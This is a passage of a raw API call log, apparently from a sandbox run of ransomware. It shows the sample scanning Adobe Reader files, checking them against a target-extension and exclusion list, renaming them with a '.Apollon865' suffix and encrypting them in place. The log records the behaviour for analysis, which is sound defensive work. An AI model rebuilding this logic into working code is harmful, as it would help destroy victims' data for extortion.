	[0057.024] lstrlenW (lpString="tps") returned 3
	[0057.024] lstrcmpiW (lpString1="fca", lpString2="tps") returned -1
	[0057.024] lstrlenW (lpString="trc") returned 3
	[0057.024] lstrcmpiW (lpString1="fca", lpString2="trc") returned -1
	[0057.024] lstrlenW (lpString="trc") returned 3
	[0057.024] lstrcmpiW (lpString1="fca", lpString2="trc") returned -1
	[0057.024] lstrlenW (lpString="trm") returned 3
	[0057.024] lstrcmpiW (lpString1="fca", lpString2="trm") returned -1
	[0057.024] lstrlenW (lpString="udb") returned 3
	[0057.024] lstrcmpiW (lpString1="fca", lpString2="udb") returned -1
	[0057.024] lstrlenW (lpString="udl") returned 3
	[0057.024] lstrcmpiW (lpString1="fca", lpString2="udl") returned -1
	[0057.024] lstrlenW (lpString="usr") returned 3
	[0057.024] lstrcmpiW (lpString1="fca", lpString2="usr") returned -1
	[0057.024] lstrlenW (lpString="v12") returned 3
	[0057.024] lstrcmpiW (lpString1="fca", lpString2="v12") returned -1
	[0057.024] lstrlenW (lpString="vis") returned 3
	[0057.024] lstrcmpiW (lpString1="fca", lpString2="vis") returned -1
	[0057.024] lstrlenW (lpString="vpd") returned 3
	[0057.024] lstrcmpiW (lpString1="fca", lpString2="vpd") returned -1
	[0057.025] lstrlenW (lpString="vvv") returned 3
	[0057.025] lstrcmpiW (lpString1="fca", lpString2="vvv") returned -1
	[0057.025] lstrlenW (lpString="wdb") returned 3
	[0057.025] lstrcmpiW (lpString1="fca", lpString2="wdb") returned -1
	[0057.025] lstrlenW (lpString="wmdb") returned 4
	[0057.025] lstrcmpiW (lpString1=".fca", lpString2="wmdb") returned -1
	[0057.025] lstrlenW (lpString="wrk") returned 3
	[0057.025] lstrcmpiW (lpString1="fca", lpString2="wrk") returned -1
	[0057.025] lstrlenW (lpString="xdb") returned 3
	[0057.025] lstrcmpiW (lpString1="fca", lpString2="xdb") returned -1
	[0057.025] lstrlenW (lpString="xld") returned 3
	[0057.025] lstrcmpiW (lpString1="fca", lpString2="xld") returned -1
	[0057.025] lstrlenW (lpString="xmlff") returned 5
	[0057.025] lstrcmpiW (lpString1="t.fca", lpString2="xmlff") returned -1
	[0057.025] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brt.hyp", cAlternateFileName="")) returned 1
	[0057.025] lstrcmpiW (lpString1="brt.hyp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.025] lstrcmpiW (lpString1="brt.hyp", lpString2="Apollon865.txt.exe") returned 1
	[0057.025] lstrcmpiW (lpString1="brt.hyp", lpString2=".") returned 1
	[0057.025] lstrcmpiW (lpString1="brt.hyp", lpString2="..") returned 1
	[0057.025] lstrcmpiW (lpString1="brt.hyp", lpString2="windows") returned -1
	[0057.025] lstrcmpiW (lpString1="brt.hyp", lpString2="bootmgr") returned 1
	[0057.025] lstrcmpiW (lpString1="brt.hyp", lpString2="temp") returned -1
	[0057.025] lstrcmpiW (lpString1="brt.hyp", lpString2="pagefile.sys") returned -1
	[0057.025] lstrcmpiW (lpString1="brt.hyp", lpString2="boot") returned 1
	[0057.025] lstrcmpiW (lpString1="brt.hyp", lpString2="ids.txt") returned -1
	[0057.025] lstrcmpiW (lpString1="brt.hyp", lpString2="ntuser.dat") returned -1
	[0057.025] lstrcmpiW (lpString1="brt.hyp", lpString2="perflogs") returned -1
	[0057.025] lstrcmpiW (lpString1="brt.hyp", lpString2="MSBuild") returned -1
	[0057.025] lstrlenW (lpString="brt.hyp") returned 7
	[0057.025] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt.fca") returned 95
	[0057.025] lstrcpyW (in: lpString1=0x2d3e600, lpString2="brt.hyp" | out: lpString1="brt.hyp") returned="brt.hyp"
	[0057.025] lstrlenW (lpString="brt.hyp") returned 7
	[0057.026] lstrlenW (lpString="Apollon865") returned 10
	[0057.026] lstrlenW (lpString=".dll") returned 4
	[0057.026] lstrcmpiW (lpString1="brt.hyp", lpString2=".dll") returned 1
	[0057.026] lstrlenW (lpString=".lnk") returned 4
	[0057.026] lstrcmpiW (lpString1="brt.hyp", lpString2=".lnk") returned 1
	[0057.026] lstrlenW (lpString=".ini") returned 4
	[0057.026] lstrcmpiW (lpString1="brt.hyp", lpString2=".ini") returned 1
	[0057.026] lstrlenW (lpString=".sys") returned 4
	[0057.026] lstrcmpiW (lpString1="brt.hyp", lpString2=".sys") returned 1
	[0057.026] lstrlenW (lpString="brt.hyp") returned 7
	[0057.026] lstrlenW (lpString="bak") returned 3
	[0057.026] lstrcmpiW (lpString1="hyp", lpString2="bak") returned 1
	[0057.026] lstrlenW (lpString="ba_") returned 3
	[0057.026] lstrcmpiW (lpString1="hyp", lpString2="ba_") returned 1
	[0057.026] lstrlenW (lpString="dbb") returned 3
	[0057.026] lstrcmpiW (lpString1="hyp", lpString2="dbb") returned 1
	[0057.026] lstrlenW (lpString="vmdk") returned 4
	[0057.026] lstrcmpiW (lpString1=".hyp", lpString2="vmdk") returned -1
	[0057.026] lstrlenW (lpString="rar") returned 3
	[0057.026] lstrcmpiW (lpString1="hyp", lpString2="rar") returned -1
	[0057.026] lstrlenW (lpString="zip") returned 3
	[0057.026] lstrcmpiW (lpString1="hyp", lpString2="zip") returned -1
	[0057.026] lstrlenW (lpString="tgz") returned 3
	[0057.026] lstrcmpiW (lpString1="hyp", lpString2="tgz") returned -1
	[0057.026] lstrlenW (lpString="vbox") returned 4
	[0057.026] lstrcmpiW (lpString1=".hyp", lpString2="vbox") returned -1
	[0057.026] lstrlenW (lpString="vdi") returned 3
	[0057.026] lstrcmpiW (lpString1="hyp", lpString2="vdi") returned -1
	[0057.026] lstrlenW (lpString="vhd") returned 3
	[0057.026] lstrcmpiW (lpString1="hyp", lpString2="vhd") returned -1
	[0057.026] lstrlenW (lpString="vhdx") returned 4
	[0057.026] lstrcmpiW (lpString1=".hyp", lpString2="vhdx") returned -1
	[0057.026] lstrlenW (lpString="avhd") returned 4
	[0057.026] lstrcmpiW (lpString1=".hyp", lpString2="avhd") returned -1
	[0057.027] lstrlenW (lpString="db") returned 2
	[0057.027] lstrcmpiW (lpString1="yp", lpString2="db") returned 1
	[0057.027] lstrlenW (lpString="db2") returned 3
	[0057.027] lstrcmpiW (lpString1="hyp", lpString2="db2") returned 1
	[0057.027] lstrlenW (lpString="db3") returned 3
	[0057.027] lstrcmpiW (lpString1="hyp", lpString2="db3") returned 1
	[0057.027] lstrlenW (lpString="dbf") returned 3
	[0057.027] lstrcmpiW (lpString1="hyp", lpString2="dbf") returned 1
	[0057.027] lstrlenW (lpString="mdf") returned 3
	[0057.027] lstrcmpiW (lpString1="hyp", lpString2="mdf") returned -1
	[0057.027] lstrlenW (lpString="mdb") returned 3
	[0057.027] lstrcmpiW (lpString1="hyp", lpString2="mdb") returned -1
	[0057.027] lstrlenW (lpString="sql") returned 3
	[0057.027] lstrcmpiW (lpString1="hyp", lpString2="sql") returned -1
	[0057.027] lstrlenW (lpString="sqlite") returned 6
	[0057.027] lstrcmpiW (lpString1="rt.hyp", lpString2="sqlite") returned -1
	[0057.027] lstrlenW (lpString="sqlite3") returned 7
	[0057.027] lstrlenW (lpString="sqlitedb") returned 8
	[0057.027] lstrlenW (lpString="xml") returned 3
	[0057.027] lstrcmpiW (lpString1="hyp", lpString2="xml") returned -1
	[0057.027] lstrlenW (lpString="$er") returned 3
	[0057.027] lstrcmpiW (lpString1="hyp", lpString2="$er") returned 1
	[0057.027] lstrlenW (lpString="4dd") returned 3
	[0057.027] lstrcmpiW (lpString1="hyp", lpString2="4dd") returned 1
	[0057.027] lstrlenW (lpString="4dl") returned 3
	[0057.027] lstrcmpiW (lpString1="hyp", lpString2="4dl") returned 1
	[0057.027] lstrlenW (lpString="^^^") returned 3
	[0057.027] lstrcmpiW (lpString1="hyp", lpString2="^^^") returned 1
	[0057.027] lstrlenW (lpString="abs") returned 3
	[0057.027] lstrcmpiW (lpString1="hyp", lpString2="abs") returned 1
	[0057.027] lstrlenW (lpString="abx") returned 3
	[0057.027] lstrcmpiW (lpString1="hyp", lpString2="abx") returned 1
	[0057.027] lstrlenW (lpString="accdb") returned 5
	[0057.028] lstrcmpiW (lpString1="t.hyp", lpString2="accdb") returned 1
	[0057.028] lstrlenW (lpString="accdc") returned 5
	[0057.028] lstrcmpiW (lpString1="t.hyp", lpString2="accdc") returned 1
	[0057.028] lstrlenW (lpString="accde") returned 5
	[0057.028] lstrcmpiW (lpString1="t.hyp", lpString2="accde") returned 1
	[0057.028] lstrlenW (lpString="accdr") returned 5
	[0057.028] lstrcmpiW (lpString1="t.hyp", lpString2="accdr") returned 1
	[0057.028] lstrlenW (lpString="accdt") returned 5
	[0057.028] lstrcmpiW (lpString1="t.hyp", lpString2="accdt") returned 1
	[0057.028] lstrlenW (lpString="accdw") returned 5
	[0057.028] lstrcmpiW (lpString1="t.hyp", lpString2="accdw") returned 1
	[0057.028] lstrlenW (lpString="accft") returned 5
	[0057.028] lstrcmpiW (lpString1="t.hyp", lpString2="accft") returned 1
	[0057.028] lstrlenW (lpString="adb") returned 3
	[0057.028] lstrcmpiW (lpString1="hyp", lpString2="adb") returned 1
	[0057.028] lstrlenW (lpString="adb") returned 3
	[0057.028] lstrcmpiW (lpString1="hyp", lpString2="adb") returned 1
	[0057.028] lstrlenW (lpString="ade") returned 3
	[0057.028] lstrcmpiW (lpString1="hyp", lpString2="ade") returned 1
	[0057.028] lstrlenW (lpString="adf") returned 3
	[0057.028] lstrcmpiW (lpString1="hyp", lpString2="adf") returned 1
	[0057.028] lstrlenW (lpString="adn") returned 3
	[0057.028] lstrcmpiW (lpString1="hyp", lpString2="adn") returned 1
	[0057.028] lstrlenW (lpString="adp") returned 3
	[0057.028] lstrcmpiW (lpString1="hyp", lpString2="adp") returned 1
	[0057.028] lstrlenW (lpString="alf") returned 3
	[0057.028] lstrcmpiW (lpString1="hyp", lpString2="alf") returned 1
	[0057.028] lstrlenW (lpString="ask") returned 3
	[0057.028] lstrcmpiW (lpString1="hyp", lpString2="ask") returned 1
	[0057.028] lstrlenW (lpString="btr") returned 3
	[0057.028] lstrcmpiW (lpString1="hyp", lpString2="btr") returned 1
	[0057.028] lstrlenW (lpString="cat") returned 3
	[0057.028] lstrcmpiW (lpString1="hyp", lpString2="cat") returned 1
	[0057.029] lstrlenW (lpString="cdb") returned 3
	[0057.029] lstrcmpiW (lpString1="hyp", lpString2="cdb") returned 1
	[0057.029] lstrlenW (lpString="ckp") returned 3
	[0057.029] lstrcmpiW (lpString1="hyp", lpString2="ckp") returned 1
	[0057.029] lstrlenW (lpString="cma") returned 3
	[0057.029] lstrcmpiW (lpString1="hyp", lpString2="cma") returned 1
	[0057.029] lstrlenW (lpString="cpd") returned 3
	[0057.029] lstrcmpiW (lpString1="hyp", lpString2="cpd") returned 1
	[0057.029] lstrlenW (lpString="dacpac") returned 6
	[0057.029] lstrcmpiW (lpString1="rt.hyp", lpString2="dacpac") returned 1
	[0057.029] lstrlenW (lpString="dad") returned 3
	[0057.029] lstrcmpiW (lpString1="hyp", lpString2="dad") returned 1
	[0057.029] lstrlenW (lpString="dadiagrams") returned 10
	[0057.029] lstrlenW (lpString="daschema") returned 8
	[0057.029] lstrlenW (lpString="db-journal") returned 10
	[0057.029] lstrlenW (lpString="db-shm") returned 6
	[0057.029] lstrcmpiW (lpString1="rt.hyp", lpString2="db-shm") returned 1
	[0057.029] lstrlenW (lpString="db-wal") returned 6
	[0057.029] lstrcmpiW (lpString1="rt.hyp", lpString2="db-wal") returned 1
	[0057.029] lstrlenW (lpString="dbc") returned 3
	[0057.029] lstrcmpiW (lpString1="hyp", lpString2="dbc") returned 1
	[0057.029] lstrlenW (lpString="dbs") returned 3
	[0057.029] lstrcmpiW (lpString1="hyp", lpString2="dbs") returned 1
	[0057.029] lstrlenW (lpString="dbt") returned 3
	[0057.029] lstrcmpiW (lpString1="hyp", lpString2="dbt") returned 1
	[0057.029] lstrlenW (lpString="dbv") returned 3
	[0057.029] lstrcmpiW (lpString1="hyp", lpString2="dbv") returned 1
	[0057.029] lstrlenW (lpString="dbx") returned 3
	[0057.029] lstrcmpiW (lpString1="hyp", lpString2="dbx") returned 1
	[0057.029] lstrlenW (lpString="dcb") returned 3
	[0057.029] lstrcmpiW (lpString1="hyp", lpString2="dcb") returned 1
	[0057.030] lstrcmpiW (lpString1="hyp", lpString2="dct") returned 1
	[0057.030] lstrcmpiW (lpString1="hyp", lpString2="dcx") returned 1
	[0057.030] lstrcmpiW (lpString1="hyp", lpString2="ddl") returned 1
	[0057.030] lstrcmpiW (lpString1=".hyp", lpString2="dlis") returned -1
	[0057.030] lstrcmpiW (lpString1="hyp", lpString2="dp1") returned 1
	[0057.030] lstrcmpiW (lpString1="hyp", lpString2="dqy") returned 1
	[0057.030] lstrcmpiW (lpString1="hyp", lpString2="dsk") returned 1
	[0057.030] lstrcmpiW (lpString1="hyp", lpString2="dsn") returned 1
	[0057.030] lstrcmpiW (lpString1=".hyp", lpString2="dtsx") returned -1
	[0057.030] lstrcmpiW (lpString1="hyp", lpString2="dxl") returned 1
	[0057.030] lstrcmpiW (lpString1="hyp", lpString2="eco") returned 1
	[0057.030] lstrcmpiW (lpString1="hyp", lpString2="ecx") returned 1
	[0057.030] lstrcmpiW (lpString1="hyp", lpString2="edb") returned 1
	[0057.030] lstrcmpiW (lpString1=".hyp", lpString2="epim") returned -1
	[0057.030] lstrcmpiW (lpString1="hyp", lpString2="fcd") returned 1
	[0057.030] lstrcpyW (in: lpString1=0x2d3e600, lpString2="brt04.hsp" | out: lpString1="brt04.hsp") returned="brt04.hsp"
	[0057.030] lstrlenW (lpString="brt04.hsp") returned 9
	[0057.030] lstrlenW (lpString="Apollon865") returned 10
	[0057.031] lstrlenW (lpString=".dll") returned 4
	[0057.031] lstrcmpiW (lpString1="brt04.hsp", lpString2=".dll") returned 1
	[0057.031] lstrlenW (lpString=".lnk") returned 4
	[0057.031] lstrcmpiW (lpString1="brt04.hsp", lpString2=".lnk") returned 1
	[0057.031] lstrlenW (lpString=".ini") returned 4
	[0057.031] lstrcmpiW (lpString1="brt04.hsp", lpString2=".ini") returned 1
	[0057.031] lstrlenW (lpString=".sys") returned 4
	[0057.031] lstrcmpiW (lpString1="brt04.hsp", lpString2=".sys") returned 1
	[0057.031] lstrlenW (lpString="brt04.hsp") returned 9
	[0057.031] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bulphon.env.Apollon865") returned 110
	[0057.031] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bulphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bulphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bulphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bulphon.env.apollon865"), dwFlags=0x1) returned 1
	[0057.033] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bulphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bulphon.env.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0057.033] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=5168) returned 1
	[0057.033] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0057.034] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0057.034] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0057.034] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0057.034] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0057.034] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.035] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1730, lpName=0x0) returned 0x15c
	[0057.036] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1730) returned 0x120000
	[0057.038] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0057.038] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0057.038] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.038] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0057.038] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0057.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0057.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0057.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0057.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0057.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0057.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0057.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0057.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0057.039] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0057.039] CloseHandle (hObject=0x15c) returned 1
	[0057.039] CloseHandle (hObject=0xc0) returned 1
	[0057.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0057.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0057.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0057.039] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="can.fca", cAlternateFileName="")) returned 1
	[0057.040] lstrcmpiW (lpString1="can.fca", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.040] lstrcmpiW (lpString1="can.fca", lpString2="Apollon865.txt.exe") returned 1
	[0057.040] lstrcmpiW (lpString1="can.fca", lpString2=".") returned 1
	[0057.040] lstrcmpiW (lpString1="can.fca", lpString2="..") returned 1
	[0057.040] lstrcmpiW (lpString1="can.fca", lpString2="windows") returned -1
	[0057.040] lstrcmpiW (lpString1="can.fca", lpString2="bootmgr") returned 1
	[0057.040] lstrcmpiW (lpString1="can.fca", lpString2="temp") returned -1
	[0057.040] lstrcmpiW (lpString1="can.fca", lpString2="pagefile.sys") returned -1
	[0057.040] lstrcmpiW (lpString1="can.fca", lpString2="boot") returned 1
	[0057.040] lstrcmpiW (lpString1="can.fca", lpString2="ids.txt") returned -1
	[0057.040] lstrcmpiW (lpString1="can.fca", lpString2="ntuser.dat") returned -1
	[0057.040] lstrcmpiW (lpString1="can.fca", lpString2="perflogs") returned -1
	[0057.040] lstrcmpiW (lpString1="can.fca", lpString2="MSBuild") returned -1
	[0057.040] lstrlenW (lpString="can.fca") returned 7
	[0057.040] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bulphon.env") returned 99
	[0057.041] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\danphon.env.Apollon865") returned 110
	[0057.041] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\danphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\danphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\danphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\danphon.env.apollon865"), dwFlags=0x1) returned 1
	[0057.044] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\danphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\danphon.env.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0057.044] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2809) returned 1
	[0057.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0057.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0057.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0057.045] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0057.045] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0057.045] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.046] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe00, lpName=0x0) returned 0x15c
	[0057.047] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe00) returned 0x120000
	[0057.048] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0057.048] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0057.049] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.049] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0057.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0057.049] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0057.049] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0057.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0057.049] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0057.049] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0057.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0057.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0057.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0057.049] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0057.050] CloseHandle (hObject=0x15c) returned 1
	[0057.050] CloseHandle (hObject=0xc0) returned 1
	[0057.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0057.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0057.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0057.050] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x51c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dut.fca", cAlternateFileName="")) returned 1
	[0057.050] lstrcmpiW (lpString1="dut.fca", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.050] lstrcmpiW (lpString1="dut.fca", lpString2="Apollon865.txt.exe") returned 1
	[0057.050] lstrcmpiW (lpString1="dut.fca", lpString2=".") returned 1
	[0057.050] lstrcmpiW (lpString1="dut.fca", lpString2="..") returned 1
	[0057.050] lstrcmpiW (lpString1="dut.fca", lpString2="windows") returned -1
	[0057.050] lstrcmpiW (lpString1="dut.fca", lpString2="bootmgr") returned 1
	[0057.050] lstrcmpiW (lpString1="dut.fca", lpString2="temp") returned -1
	[0057.050] lstrcmpiW (lpString1="dut.fca", lpString2="pagefile.sys") returned -1
	[0057.050] lstrcmpiW (lpString1="dut.fca", lpString2="boot") returned 1
	[0057.050] lstrcmpiW (lpString1="dut.fca", lpString2="ids.txt") returned -1
	[0057.050] lstrcmpiW (lpString1="dut.fca", lpString2="ntuser.dat") returned -1
	[0057.050] lstrcmpiW (lpString1="dut.fca", lpString2="perflogs") returned -1
	[0057.050] lstrcmpiW (lpString1="dut.fca", lpString2="MSBuild") returned -1
	[0057.050] lstrlenW (lpString="dut.fca") returned 7
	[0057.051] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\danphon.env") returned 99
	[0057.051] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\engphon.env.Apollon865") returned 110
	[0057.051] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\engphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\engphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\engphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\engphon.env.apollon865"), dwFlags=0x1) returned 1
